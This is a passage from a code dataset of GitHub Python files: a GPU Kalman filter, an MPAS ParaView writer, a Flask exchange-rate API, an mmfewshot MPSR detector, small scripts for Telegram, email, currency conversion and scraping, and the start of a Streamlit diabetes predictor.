range(len(ans)):\n _x_out[i] = ans[i]\n\n return f_vec\n\n def __g_vec(self):\n \"\"\"Vectorizes the state observation function to run on the GPU\n \"\"\"\n g_jit = cuda.jit(device=True)(self.g)\n\n @numba.guvectorize(['void(f4[:], i4[:], f4[:], f4[:])',\n 'void(f4[:], i8[:], f4[:], f4[:])',\n 'void(f4[:], f4[:], f4[:], f4[:])',\n 'void(f4[:], f8[:], f4[:], f4[:])'],\n '(n), (m), (p) -> (p)', target='cuda')\n def g_vec(x, u, _y_dummy, _y_out):\n ans = g_jit(x, u)\n for i in range(len(ans)):\n _y_out[i] = ans[i]\n\n return g_vec\n\n def __pdf_vec(self):\n \"\"\"Vectorizes the measurement probability density function\n to run on the GPU\n \"\"\"\n pdf_jit = cuda.jit(device=True)(self.measurement_pdf.pdf)\n\n @numba.guvectorize(['void(f4[:], f4[:])'],\n '(n) -> (n)', target='cuda')\n def pdf_vec(e, _pdf_out=None):\n _pdf_out = pdf_jit(e)\n\n return pdf_vec\n\n @staticmethod\n @cuda.jit\n def _parallel_resample(cumsum, sample_index, random_number, N_particles):\n \"\"\"Implements the parallel aspect of the\n systematic resampling algorithm by Nicely\n\n Parameters\n ----------\n cumsum : cupy.array\n The cumulative sum of the particle weights\n\n sample_index : cupy.array\n The array where the sample indices will be stored\n\n random_number : float\n A random float between 0 and 1\n\n N_particles : int\n The number of particles\n \"\"\"\n tx = cuda.threadIdx.x\n bx = cuda.blockIdx.x\n bw = cuda.blockDim.x\n i = bw * bx + tx\n\n if i >= N_particles:\n return\n\n u = (i + random_number) / N_particles\n k = i\n while cumsum[k] < u:\n k += 1\n\n cuda.syncthreads()\n\n while cumsum[k] > u and k >= 0:\n k -= 1\n\n cuda.syncthreads()\n\n sample_index[i] = k + 1\n\n def _get_sigma_points(self):\n \"\"\"Return the sigma points for the current particles\n \"\"\"\n t_covariances = torch_dlpack.from_dlpack(cupy.asarray(self.covariances).toDlpack())\n try:\n t_stds = torch.cholesky(t_covariances)\n except RuntimeError:\n t_stds = torch.cholesky(t_covariances + 1e-10)\n\n stds = cupy.fromDlpack(torch_dlpack.to_dlpack(t_stds)).swapaxes(1, 2)\n sigmas = cupy.repeat(self.means[:, None, :], self._N_sigmas, axis=1)\n sigmas[:, 1:self._Nx + 1, :] += stds\n sigmas[:, self._Nx + 1:, :] -= stds\n\n return sigmas\n\n def predict(self, u, dt):\n \"\"\"Performs a prediction step on the particles\n\n Parameters\n ----------\n u : cupy.array\n A (N_inputs) array of the current inputs\n\n dt : float\n The time step since the previous prediction\n \"\"\"\n sigmas = self._get_sigma_points()\n\n # Move the sigma points through the state transition function\n sigmas += self.f_vectorize(sigmas, u, dt)\n sigmas += self.state_pdf.draw((self.N_particles, self._N_sigmas))\n\n self.means = cupy.average(sigmas, axis=1, weights=self._w_sigma)\n sigmas -= self.means[:, None, :]\n self.covariances = sigmas.swapaxes(1, 2) @ (sigmas * self._w_sigma[:, None])\n\n def update(self, u, z):\n \"\"\"Performs an update step on the particles\n\n Parameters\n ----------\n u : cupy.array\n A (N_inputs) array of the current inputs\n\n z : cupy.array\n A (N_outputs) array of the current measured outputs\n \"\"\"\n # Local Update\n sigmas = self._get_sigma_points()\n # Move the sigma points through the state observation function\n etas = self.g_vectorize(sigmas, u, self._y_dummy)\n\n # Compute the Kalman gain\n eta_means = cupy.average(etas, axis=1, weights=self._w_sigma)\n sigmas -= self.means[:, None, :]\n etas -= eta_means[:, None, :]\n\n P_xys = sigmas.swapaxes(1, 2) @ (etas * self._w_sigma[:, None])\n P_yys = etas.swapaxes(1, 2) @ (etas * self._w_sigma[:, None])\n P_yy_invs = cupy.linalg.inv(P_yys)\n Ks = P_xys @ P_yy_invs\n\n # Use the gain to update the means and covariances\n z = cupy.asarray(z, dtype=cupy.float32)\n es = z - eta_means\n self.means += (Ks @ es[:, :, None]).squeeze()\n # Dimensions from paper do not work, use corrected version\n self.covariances -= Ks @ P_yys @ Ks.swapaxes(1, 2)\n\n # Global Update\n # Move the means through the state observation function\n y_means = self.g_vectorize(self.means, u, self._y_dummy)\n\n glob_es = z - y_means\n self.weights *= self.measurement_pdf.pdf(glob_es)\n\n def resample(self):\n \"\"\"Performs a systematic resample of the particles\n based on the weights of the particles.\n Uses the algorithm by Nicely.\n \"\"\"\n t_weights = torch_dlpack.from_dlpack(cupy.asarray(self.weights).toDlpack())\n t_cumsum = torch.cumsum(t_weights, 0)\n cumsum = cupy.fromDlpack(torch_dlpack.to_dlpack(t_cumsum))\n cumsum /= cumsum[-1]\n\n sample_index = cupy.zeros(self.N_particles, dtype=cupy.int64)\n random_number = cupy.float64(cupy.random.rand())\n\n if self.N_particles >= 1024:\n threads_per_block = 1024\n blocks_per_grid = (self.N_particles - 1) // threads_per_block + 1\n else:\n div_32 = (self.N_particles - 1) // 32 + 1\n threads_per_block = 32 * div_32\n blocks_per_grid = 1\n\n ParallelGaussianSumUnscentedKalmanFilter._parallel_resample[blocks_per_grid, threads_per_block](\n cumsum, sample_index, random_number, self.N_particles\n )\n\n self.means = cupy.asarray(self.means)[sample_index]\n self.covariances = cupy.asarray(self.covariances)[sample_index]\n self.weights = cupy.full(self.N_particles, 1 / self.N_particles)\n\n def point_estimate(self):\n \"\"\"Returns the point estimate of the filter\"\"\"\n return (self.weights @ self.means).get()\n\n def point_covariance(self):\n \"\"\"Returns the maximum singular value of the filter's covariance\"\"\"\n cov_cov = cupy.sum(self.weights[:, None, None] * self.covariances, axis=0)\n dist = self.means - (self.weights @ self.means)\n cov_mean = dist.T @ ( dist * self.weights[:, None])\n cov = cov_cov + cov_mean\n s = cupy.linalg.svd(cov, compute_uv=False)\n return (s[0]).get()\n","repo_name":"AlgorithmicAmoeba/gpu_se","sub_path":"filter/gs_ukf.py","file_name":"gs_ukf.py","file_ext":"py","file_size_in_byte":15568,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"5185474183","text":"\n# write MPAS output to vtk format (*.pvtu file)\n\ntry: paraview.simple\nexcept: from paraview.simple import *\n\n################################################################################\n# To use this file, copy it to a file named 'mpas.py' in the directory where\n# the simulation will be run. Also copy or symlink 'mpas_common.py' beside it.\n# Then edit the 'datasets' dictionary according to its comments.\n################################################################################\n\nfrom mpas_common import *\n\ndatasets = {\n 'MPAS_OUTPUT': {\n # the grid to output\n #'grid': 'X_Y_NLAYER-primal',\n #'grid': 'X_Y_NLAYER-dual',\n 'grid': 'X_Y_Z_1LAYER-primal',\n #'grid': 'X_Y_Z_1LAYER-dual',\n #'grid': 'X_Y_Z_NLAYER-primal',\n #'grid': 'X_Y_Z_NLAYER-dual',\n #'grid': 'LON_LAT_1LAYER-primal',\n #'grid': 'LON_LAT_1LAYER-dual',\n #'grid': 'LON_LAT_NLAYER-primal',\n #'grid': 'LON_LAT_NLAYER-dual',\n \n # fields to output\n 'fields': ['salinity', 'temperature', 'kineticEnergyCell', 'relativeVorticityCell'],\n \n 'writers': [\n {\n # filename for output. %t will be replaced with timestep\n 'pattern': 'mpas_data_%t.pvtu',\n \n # how often to produce output (1 is every timestep)\n 'frequency': 1,\n \n # do not change\n 'source': 'simulation',\n 'function': XMLPUnstructuredGridWriter,\n }\n ]\n },\n\n}\n\ncoprocessor = MPASCreateCoProcessor(datasets)\n\n# To use other scripts, you may import them here:\nscripts = []\nmodules = []\nfor script in scripts:\n modules.append(importlib.import_module(script))\n\n# These functions is required and is called from Catalyst without arguments.\n# Instead, pass the datasets we want to export to MPASCreateCoProcessor.\ndef RequestDataDescription(datadescription):\n MPASRequestDataDescription(coprocessor, datadescription)\n for module in modules:\n module.RequestDataDescription(datadescription)\n\ndef DoCoProcessing(datadescription):\n MPASDoCoProcessing(coprocessor, datadescription)\n for module in modules:\n module.DoCoProcessing(datadescription)\n","repo_name":"guanxyz/MPAS","sub_path":"app/mpas_240km/mpas_vtkwriter.py","file_name":"mpas_vtkwriter.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20523814003","text":"\"\"\"Thhis module contains the IterationStateUninitialized class.\"\"\"\n\nimport logging\n\nfrom software_project_estimator.project import Project\nfrom software_project_estimator.simulation import states\n\nfrom software_project_estimator.simulation.models import ( # isort: skip\n IterationResult,\n IterationResultStatus,\n)\n\nlogger = logging.getLogger(__name__)\n\n\nclass IterationStateUninitialized(states.IterationBaseState):\n \"\"\"\n The Uninitialized state is the initial state of the iteration.\n \"\"\"\n\n def has_valid_project(self) -> bool:\n \"\"\"Check if the project is valid.\"\"\"\n if not self.context.project or not isinstance(self.context.project, Project):\n return False\n return True\n\n def has_tasks_or_task_groups(self) -> bool:\n \"\"\"Check if the project has tasks or task groups.\"\"\"\n if all(\n [\n self.context.project and not self.context.project.tasks,\n self.context.project and not self.context.project.task_groups,\n ]\n ):\n return False\n return True\n\n def handle_process(self) -> None:\n \"\"\"This is where we initialize the iteration.\"\"\"\n logger.debug(\"Iteration is initializing.\")\n if not self.has_valid_project():\n self.context.provisional_result = IterationResult(\n status=IterationResultStatus.FAILURE,\n message=\"No project was provided.\",\n )\n self.context.transition_to(states.IterationStateError())\n return\n\n if not self.has_tasks_or_task_groups():\n self.context.provisional_result = IterationResult(\n status=IterationResultStatus.FAILURE,\n message=\"No tasks were present in the project.\",\n )\n self.context.transition_to(states.IterationStateError())\n return\n\n # Set all initial values. We can ignore the type here because we can't\n # get to this section of code without a project.\n self.context.current_date = self.context.project.start_date # type: ignore\n self.context.person_days_remaining = ( # type: ignore\n self.context.probabilistic_estimated_project_person_days()\n )\n\n self.context.transition_to(states.IterationStateCalculatingWeeks())\n","repo_name":"matthewsewell/software-project-estimator","sub_path":"src/software_project_estimator/simulation/states/iteration_state_uninitialized.py","file_name":"iteration_state_uninitialized.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"15084096002","text":"from flask import Blueprint, request, jsonify\nimport datetime\nfrom services.utils import getExchangeRates\nfrom services.fluctuationResponse import FluctuationResponse\n\n\nfluctuations = Blueprint('fluctuations', __name__,\n url_prefix='/fluctuations')\n\n# Define the fluctuations routes\n# The user sends a GET request to the /fluctuations route with parameters containing the start and end dates.\n# The server responds with the exchange rate fluctuations between the start and end dates.\n\n\n@fluctuations.route('/', methods=['GET'], strict_slashes=False)\ndef get_exchangeRateFluctuationsUSD():\n args = request.args\n startYear = int(args.get('startYear'))\n startMonth = int(args.get('startMonth'))\n startDay = int(args.get('startDay'))\n endYear = int(args.get('endYear'))\n endMonth = int(args.get('endMonth'))\n endDay = int(args.get('endDay'))\n\n try:\n START_DATE = datetime.datetime(startYear, startMonth, startDay)\n END_DATE = datetime.datetime(endYear, endMonth, endDay)\n except ValueError:\n return jsonify({\"error\": \"Invalid date format. Please use yyyy-mm-dd.\"}), 400\n\n if (START_DATE > END_DATE):\n return jsonify({\"error\": \"Start date must be before end date.\"}), 400\n\n fluctuations = []\n\n current_date = START_DATE\n while current_date <= END_DATE:\n start_of_period = current_date\n end_of_period = current_date + \\\n datetime.timedelta(hours=23, minutes=59, seconds=59)\n usd_to_lbp_rate, lbp_to_usd_rate = getExchangeRates(\n start_of_period, end_of_period)\n start_of_period = start_of_period.strftime(\"%Y-%m-%d\")\n end_of_period = end_of_period.strftime(\"%Y-%m-%d\")\n if (usd_to_lbp_rate == 0):\n usd_to_lbp_rate = None\n if (lbp_to_usd_rate == 0):\n lbp_to_usd_rate = None\n\n FluctuationResponse_ = FluctuationResponse(\n start_of_period, usd_to_lbp_rate, lbp_to_usd_rate)\n fluctuations.append(FluctuationResponse_.serialize())\n current_date += datetime.timedelta(days=1)\n\n return jsonify(fluctuations), 200\n","repo_name":"EECE430L/ExchangeRate_Backend","sub_path":"apis/fluctuations.py","file_name":"fluctuations.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74608129157","text":"from typing import Dict, List, Optional, Tuple, Union\n\nimport torch\nfrom mmcv.runner import auto_fp16\nfrom mmdet.models.builder import DETECTORS\nfrom mmdet.models.detectors import TwoStageDetector\nfrom torch import Tensor\n\n\n@DETECTORS.register_module()\nclass MPSR(TwoStageDetector):\n \"\"\"Implementation of `MPSR. `_.\n\n Args:\n rpn_select_levels (list[int]): Specify the corresponding\n level of fpn features for each scale of image. The selected\n features will be fed into rpn head.\n roi_select_levels (list[int]): Specific which level of fpn\n features to be selected for each scale of image. The selected\n features will be fed into roi head.\n \"\"\"\n\n def __init__(self, rpn_select_levels: List[int],\n roi_select_levels: List[int], *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n assert rpn_select_levels, 'rpn_select_levels can not be None.'\n assert roi_select_levels, 'roi_select_levels can not be None.'\n assert len(rpn_select_levels) == len(roi_select_levels), \\\n 'lengths of rpn_select_levels and roi_select_levels mismatch.'\n self.rpn_select_levels = rpn_select_levels\n self.roi_select_levels = roi_select_levels\n self.num_fpn_levels = max(\n max(rpn_select_levels), max(roi_select_levels)) + 1\n\n @auto_fp16(apply_to=('auxiliary_img_list', ))\n def extract_auxiliary_feat(\n self, auxiliary_img_list: List[Tensor]\n ) -> Tuple[List[Tensor], List[Tensor]]:\n \"\"\"Extract and select features from data list at multiple scale.\n\n Args:\n auxiliary_img_list (list[Tensor]): List of data at different\n scales. In most cases, each dict contains: `img`, `img_metas`,\n `gt_bboxes`, `gt_labels`, `gt_bboxes_ignore`.\n\n Returns:\n tuple:\n rpn_feats (list[Tensor]): Features at multiple scale used\n for rpn head training.\n roi_feats (list[Tensor]): Features at multiple scale used\n for roi head training.\n \"\"\"\n\n rpn_feats = []\n roi_feats = []\n for scale, img in enumerate(auxiliary_img_list):\n feats = self.backbone(img)\n if self.with_neck:\n feats = self.neck(feats)\n assert len(feats) >= self.num_fpn_levels, \\\n f'minimum number of fpn levels is {self.num_fpn_levels}.'\n # for each scale of image, only one level of fpn features will be\n # selected for training.\n if scale == 5:\n # 13 x 13 -> 9 x 9\n rpn_feats.append(feats[self.rpn_select_levels[scale]][:, :,\n 2:-2,\n 2:-2])\n else:\n rpn_feats.append(feats[self.rpn_select_levels[scale]])\n roi_feats.append(feats[self.roi_select_levels[scale]])\n return rpn_feats, roi_feats\n\n @auto_fp16(apply_to=('img', ))\n def extract_feat(self, img: Tensor) -> List[Tensor]:\n \"\"\"Directly extract features from the backbone+neck.\"\"\"\n x = self.backbone(img)\n if self.with_neck:\n x = self.neck(x)\n return x\n\n def forward_train(self, main_data: Dict, auxiliary_data_list: List[Dict],\n **kwargs) -> Dict:\n \"\"\"\n Args:\n main_data (dict): In most cases, dict of main data contains:\n `img`, `img_metas`, `gt_bboxes`, `gt_labels`,\n `gt_bboxes_ignore`.\n auxiliary_data_list (list[dict]): List of data at different\n scales. In most cases, each dict contains: `img`, `img_metas`,\n `gt_bboxes`, `gt_labels`, `gt_bboxes_ignore`.\n\n Returns:\n dict[str, Tensor]: a dictionary of loss components\n \"\"\"\n # train model with regular pipeline\n x = self.extract_feat(main_data['img'])\n # train model with refine pipeline\n auxiliary_img_list = [data['img'] for data in auxiliary_data_list]\n auxiliary_rpn_feats, auxiliary_roi_feats = \\\n self.extract_auxiliary_feat(auxiliary_img_list)\n\n # RPN forward and loss\n proposal_cfg = self.train_cfg.get('rpn_proposal', self.test_cfg.rpn)\n rpn_losses, proposal_list = self.rpn_head.forward_train(\n x,\n auxiliary_rpn_feats,\n main_data['img_metas'],\n main_data['gt_bboxes'],\n gt_labels=None,\n gt_bboxes_ignore=main_data.get('gt_bboxes_ignore', None),\n proposal_cfg=proposal_cfg)\n\n roi_losses = self.roi_head.forward_train(\n x, main_data['img_metas'], proposal_list,\n main_data['gt_bboxes'], main_data['gt_labels'],\n main_data.get('gt_bboxes_ignore', None), **kwargs)\n\n auxiliary_roi_losses = self.roi_head.forward_auxiliary_train(\n auxiliary_roi_feats,\n [torch.cat(data['gt_labels']) for data in auxiliary_data_list])\n\n losses = dict()\n losses.update(rpn_losses)\n losses.update(roi_losses)\n losses.update(auxiliary_roi_losses)\n\n return losses\n\n @auto_fp16(apply_to=('img', ))\n def forward(self,\n main_data: Dict = None,\n auxiliary_data: Dict = None,\n img: List[Tensor] = None,\n img_metas: List[Dict] = None,\n return_loss: bool = True,\n **kwargs) -> Dict:\n \"\"\"Calls either :func:`forward_train` or :func:`forward_test` depending\n on whether ``return_loss`` is ``True``.\n\n Note this setting will change the expected inputs. When\n ``return_loss=True``, the input will be main and auxiliary data\n for training., and when ``resturn_loss=False``, the input will be\n img and img_meta for testing.\n\n Args:\n main_data (dict): Used for :func:`forward_train`. Dict of\n data and data info, where each dict has: `img`, `img_metas`,\n `gt_bboxes`, `gt_labels`, `gt_bboxes_ignore`. Default: None.\n auxiliary_data (dict): Used for :func:`forward_train`. Dict of\n data and data info at multiple scales, where each key use\n different suffix to indicate different scale. For example,\n `img_scale_i`, `img_metas_scale_i`, `gt_bboxes_scale_i`,\n `gt_labels_scale_i`, `gt_bboxes_ignore_scale_i`, where\n `i` in range of 0 to number of scales. Default: None.\n img (list[Tensor]): Used for func:`forward_test` or\n :func:`forward_model_init`. List of tensors of shape\n (1, C, H, W). Typically these should be mean centered\n and std scaled. Default: None.\n img_metas (list[dict]): Used for func:`forward_test` or\n :func:`forward_model_init`. List of image info dict\n where each dict has: `img_shape`, `scale_factor`, `flip`,\n and may also contain `filename`, `ori_shape`, `pad_shape`,\n and `img_norm_cfg`. For details on the values of these keys,\n see :class:`mmdet.datasets.pipelines.Collect`. Default: None.\n return_loss (bool): If set True call :func:`forward_train`,\n otherwise call :func:`forward_test`. Default: True.\n \"\"\"\n if return_loss:\n # collect data or data info at same scale into one dict\n keys = list(auxiliary_data.keys())\n num_scales = max(map(int, [key[-1] for key in keys])) + 1\n auxiliary_data_list = [{\n key.replace(f'_scale_{scale}', ''): auxiliary_data[key]\n for key in keys if f'_scale_{scale}' in key\n } for scale in range(num_scales)]\n return self.forward_train(main_data, auxiliary_data_list, **kwargs)\n else:\n return self.forward_test(img, img_metas, **kwargs)\n\n def train_step(self, data: Dict, optimizer: Union[object, Dict]) -> Dict:\n \"\"\"The iteration step during training.\n\n This method defines an iteration step during training, except for the\n back propagation and optimizer updating, which are done in an optimizer\n hook. Note that in some complicated cases or models, the whole process\n including back propagation and optimizer updating is also defined in\n this method, such as GAN.\n\n Args:\n data (dict): The output of dataloader.\n optimizer (:obj:`torch.optim.Optimizer` | dict): The optimizer of\n runner is passed to ``train_step()``. This argument is unused\n and reserved.\n\n Returns:\n dict: It should contain at least 3 keys: ``loss``, ``log_vars``, \\\n ``num_samples``.\n\n - ``loss`` is a tensor for back propagation, which can be a \\\n weighted sum of multiple losses.\n - ``log_vars`` contains all the variables to be sent to the\n logger.\n - ``num_samples`` indicates the batch size (when the model is \\\n DDP, it means the batch size on each GPU), which is used for \\\n averaging the logs.\n \"\"\"\n losses = self(**data)\n loss, log_vars = self._parse_losses(losses)\n\n outputs = dict(\n loss=loss,\n log_vars=log_vars,\n num_samples=len(data['main_data']['img_metas']))\n\n return outputs\n\n def val_step(self,\n data: Dict,\n optimizer: Optional[Union[object, Dict]] = None) -> Dict:\n \"\"\"The iteration step during validation.\n\n This method shares the same signature as :func:`train_step`, but used\n during val epochs. Note that the evaluation after training epochs is\n not implemented with this method, but an evaluation hook.\n \"\"\"\n losses = self(**data)\n loss, log_vars = self._parse_losses(losses)\n\n outputs = dict(\n loss=loss,\n log_vars=log_vars,\n num_samples=len(data['main_data']['img_metas']))\n\n return outputs\n","repo_name":"open-mmlab/mmfewshot","sub_path":"mmfewshot/detection/models/detectors/mpsr.py","file_name":"mpsr.py","file_ext":"py","file_size_in_byte":10293,"program_lang":"python","lang":"en","doc_type":"code","stars":615,"dataset":"github-code","pt":"62"} +{"seq_id":"75042447878","text":"from telegram.ext import Updater\nimport sys\n\nif len(sys.argv) != 3:\n print('Wrong number of arguments. Expected Telegram token and URL')\n exit(1)\n\ntelegram_token = sys.argv[1]\nurl = sys.argv[2]\n\nupdater = Updater(token=telegram_token)\n#print(updater.bot.set_webhook(url))\nprint(updater.bot.get_webhook_info())\n","repo_name":"casidiablo/paperless-telegram-bot","sub_path":"register_webhook.py","file_name":"register_webhook.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22125273149","text":"import currency\n\n\ndef main():\n while True:\n currency_type = int(\n input(\"Enter 1 for Euro, 2 for Japanese Yen, 3 for Mexican Peso: \"))\n if currency_type < 1 or currency_type > 3:\n print(\"Error: Invalid Choice\")\n else:\n break\n\n while True:\n dollar = float(input(\"Enter US Dollar amount: \"))\n if dollar < 0:\n print(\"Error: US Dollar cannot be negative.\")\n else:\n break\n\n if currency_type == 1:\n converted_currency = currency.to_euro(dollar)\n print(f\"It is converted to , {converted_currency} Euro\")\n elif currency_type == 2:\n converted_currency = currency.to_yen(dollar)\n print(f\"It is converted to , {converted_currency} Yen\")\n else:\n converted_currency = currency.to_peso(dollar)\n print(f\"It is converted to , {converted_currency} Peso\")\n\n\nmain()\n","repo_name":"Zoogster/python-class","sub_path":"Lab 8/Lab08P3/Lab08P3.py","file_name":"Lab08P3.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27787247094","text":"from transformers import BlenderbotSmallTokenizer, BlenderbotSmallForConditionalGeneration\n\nclass ChatModel:\n def __init__(self):\n \"\"\"Initialize model and tokenizer.\"\"\"\n self.model = BlenderbotSmallForConditionalGeneration.from_pretrained('./model')\n self.tokenizer = BlenderbotSmallTokenizer.from_pretrained('./model')\n\n def get_reply(self, user_query):\n \"\"\"Given user input, make bot prediction.\n \n Input: \"Hi there\"\n Ourput: \"Hi how are you?\"\n \"\"\"\n inputs = self.tokenizer([user_query], return_tensors='pt')\n reply_ids = self.model.generate(**inputs)\n bot_answer = self.tokenizer.batch_decode(reply_ids, skip_special_tokens=True)[0]\n return bot_answer\n","repo_name":"mandgie/chatbot","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"30409079634","text":"import fileinput as fi\n\nA_R = \"A\"\nA_P = \"B\"\nA_S = \"C\"\n\nB_R = \"X\"\nB_P = \"Y\"\nB_S = \"Z\"\n\nS_ROCK = 1\nS_PAPER = 2\nS_SCISSOR = 3\n\nS_LOSS = 0\nS_DRAW = 3\nS_WIN = 6\n\nlookup = {\n f'{A_R} {B_R}': S_DRAW + S_ROCK,\n f'{A_R} {B_P}': S_WIN + S_PAPER,\n f'{A_R} {B_S}': S_LOSS + S_SCISSOR,\n f'{A_P} {B_R}': S_LOSS + S_ROCK,\n f'{A_P} {B_P}': S_DRAW + S_PAPER,\n f'{A_P} {B_S}': S_WIN + S_SCISSOR,\n f'{A_S} {B_R}': S_WIN + S_ROCK,\n f'{A_S} {B_P}': S_LOSS + S_PAPER,\n f'{A_S} {B_S}': S_DRAW + S_SCISSOR,\n}\n\nlines = filter(bool, map(str.rstrip, fi.input()))\nprint(sum(lookup[line] for line in lines))\n","repo_name":"rHermes/adventofcode","sub_path":"2022/02/y2022_d02_p01.py","file_name":"y2022_d02_p01.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"15120911265","text":"import smtplib,yaml\nfrom email import encoders\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.base import MIMEBase\nwith open(\"data.yaml\") as stream:\n data_loaded = yaml.safe_load(stream)\n \ndef sendingemail():\n #print(\"Inside sending email\")\n email_to=[]\n Cc=data_loaded['Cc'].split(',')\n for k in Cc:\n email_to.append(k)\n To=data_loaded['To'].split(',')\n for k in To:\n email_to.append(k)\n \n body1 ='''\n

     

    \n

    {b1}

    \n

    {b2}

    \n

    {b3}

    \n

     

    \n '''\n body1=body1.format(b1=data_loaded['Mail_Body1'],\n b2=data_loaded['Mail_Body2'], \n b3=data_loaded['Mail_Body3']+\":\")\n \n\n #print(\"Email body\")\n msg = MIMEMultipart('alternative')\n if data_loaded['Email_Attachment_path']!='None':\n with open(data_loaded['Email_Attachment_path'], 'rb') as at:\n mime = MIMEBase('file', 'msg', filename=data_loaded['Attahment_name'])\n # add required header data:\n mime.add_header('Content-Disposition', 'attachment', filename=data_loaded['Attahment_name'])\n mime.add_header('X-Attachment-Id', '0')\n mime.add_header('Content-ID', '<0>')\n # read attachment file content into the MIMEBase object\n mime.set_payload(at.read())\n # encode with base64\n encoders.encode_base64(mime)\n # add MIMEBase object to MIMEMultipart object\n msg.attach(mime)\n\n email_subject = data_loaded['Subject']\n email_from = data_loaded['From']\n #email_to = data_loaded['To']\n email_cc = data_loaded['Cc']\n msg['To'] = \", \".join(email_to)\n msg['CC'] = email_cc\n msg['Subject'] = email_subject\n \n mt_html = MIMEText(body1, 'html')\n msg.attach(mt_html)\n try:\n smtpObj = smtplib.SMTP(data_loaded['SMTP_SERVER'])\n smtpObj.sendmail(email_from, email_to, msg.as_string()) \n print(\"Email Sent Successfully\") \n except:\n print(\"Error:unable to send email \\n\")\n smtpObj.quit()\nsendingemail()","repo_name":"rahulshrinet5/Sending_email_through_python","sub_path":"sendemail.py","file_name":"sendemail.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22520264682","text":"import requests\n\nCMC_LINK_1 = \"http://pk.cs.msu.ru/node/1415\"\nCMC_LINK_2 = \"http://pk.cs.msu.ru/node/1428\"\n\ndef crop(t, s, m):\n return t[t.find(s)+len(s):] if m else t[:t.find(s)]\n\ndef get_admittion_table(LINK):\n q = \"\"\n try:\n request_result = requests.get(LINK)\n request_result.raise_for_status()\n q = request_result.text\n q = crop(q, \"\", 0)\n\n except requests.exceptions.ConnectTimeout:\n fail = 2\n except requests.exceptions.ReadTimeout:\n fail = 3\n except requests.exceptions.ConnectionError:\n fail = 1\n except requests.exceptions.HTTPError as err:\n fail = 4\n HTTPErrNum = err\n return q\n\ndef get_mark_list(q):\n lst = {}\n q = crop(q, \"\", 1)\n itm = int(crop(q, \"<\", 0))\n if(lst.get(itm) == None):\n lst[itm] = 1\n else:\n lst[itm] = lst[itm] + 1\n return lst\n\n\nq = get_admittion_table(CMC_LINK_1)\nlst1 = get_mark_list(q)\nq = get_admittion_table(CMC_LINK_2)\nlst2 = get_mark_list(q)\nlst = {}\nsum = 0\nfor i in lst1.keys():\n lst[i] = lst1[i]\nfor i in lst2.keys():\n if(lst.get(i) == None):\n lst[i] = lst2[i]\n else:\n lst[i] = lst[i] + lst2[i]\nfor i in sorted(lst.keys()):\n print(str(i) + \" : \" + str(lst[i]))\n if i != 2:\n sum += lst[i]\nprint(\"-------------------\")\nprint(\"SUM = \" + str(sum))\n\n\n\n","repo_name":"ShuryginDM/PK_CMC_MAG","sub_path":"get_mag_result.py","file_name":"get_mag_result.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34556298453","text":"from pycaret.classification import load_model, predict_model\nimport streamlit as st\nimport pandas as pd\nimport numpy as np\n\n\ndef predict_quality(model, df):\n predictions_data = predict_model(estimator=model, data=df)\n\n return predictions_data['prediction_label'][0]\n\n\ndef get_features_df():\n Pregnancies = st.sidebar.slider(label='Pregnancies', min_value=0,\n max_value=20,\n value=0,\n step=1)\n\n Glucose = st.sidebar.slider(label='Glucose', min_value=0.00,\n max_value=199.00,\n value=0.00,\n step=0.01)\n\n BloodPressure = st.sidebar.slider(label='BloodPressure', min_value=0.00,\n max_value=125.00,\n value=0.00,\n step=0.01)\n\n SkinThickness = st.sidebar.slider(label='SkinThickness', min_value=0.0,\n max_value=100.0,\n value=8.0,\n step=0.1)\n\n Insulin = st.sidebar.slider(label='Insulin', min_value=0.000,\n max_value=846.000,\n value=0.500,\n step=0.001)\n\n BMI = st.sidebar.slider(label='BMI', min_value=0.000,\n max_value=72.00,\n value=36.00,\n step=1.00)\n\n DiabetesPedigreeFunction = st.sidebar.slider(label='DiabetesPedigreeFunction', min_value=0.078,\n max_value=2.42,\n value=0.001,\n step=0.001)\n\n Age = st.sidebar.slider(label='Age', min_value=20,\n max_value=81,\n value=20,\n step=1)\n\n features = {'Pregnancies': Pregnancies, 'Glucose': Glucose,\n 'BloodPressure': BloodPressure, 'SkinThickness': SkinThickness,\n 'Insulin': Insulin, 'BMI': BMI,\n 'DiabetesPedigreeFunction': DiabetesPedigreeFunction, 'Age': Age,\n }\n return features, Age\n\n\ndef features_info() -> pd.DataFrame:\n infos = ['Pregnancies',\n 'Glucose',\n 'BloodPressure',\n 'SkinThickness',\n 'Insulin',\n 'BMI',\n 'DiabetesPedigreeFunction',\n 'Age',]\n\n descri = [\"Number of times pregnant\",\n \"Plasma glucose concentration a 2 hours in an oral glucose tolerance test\",\n \"Diastolic blood pressure (mm Hg)\",\n \"Triceps skin fold thickness (mm)\",\n \"2-Hour serum insulin (mu U/ml)\",\n \"Body mass index (weight in kg/(height in m)^2)\",\n \"Diabetes pedigree function\",\n \"Age (years)\",]\n\n return pd.DataFrame({\"name\": infos, \"desc\": descri})\n\n\nrf_model = load_model('final_model_rf')\nxg_model = load_model('final_model_xgb')\n\nst.title('Diabete predicting Web App')\n\nst.caption(\n \"This is a web app to predict diabetes based on several features that you can see in the 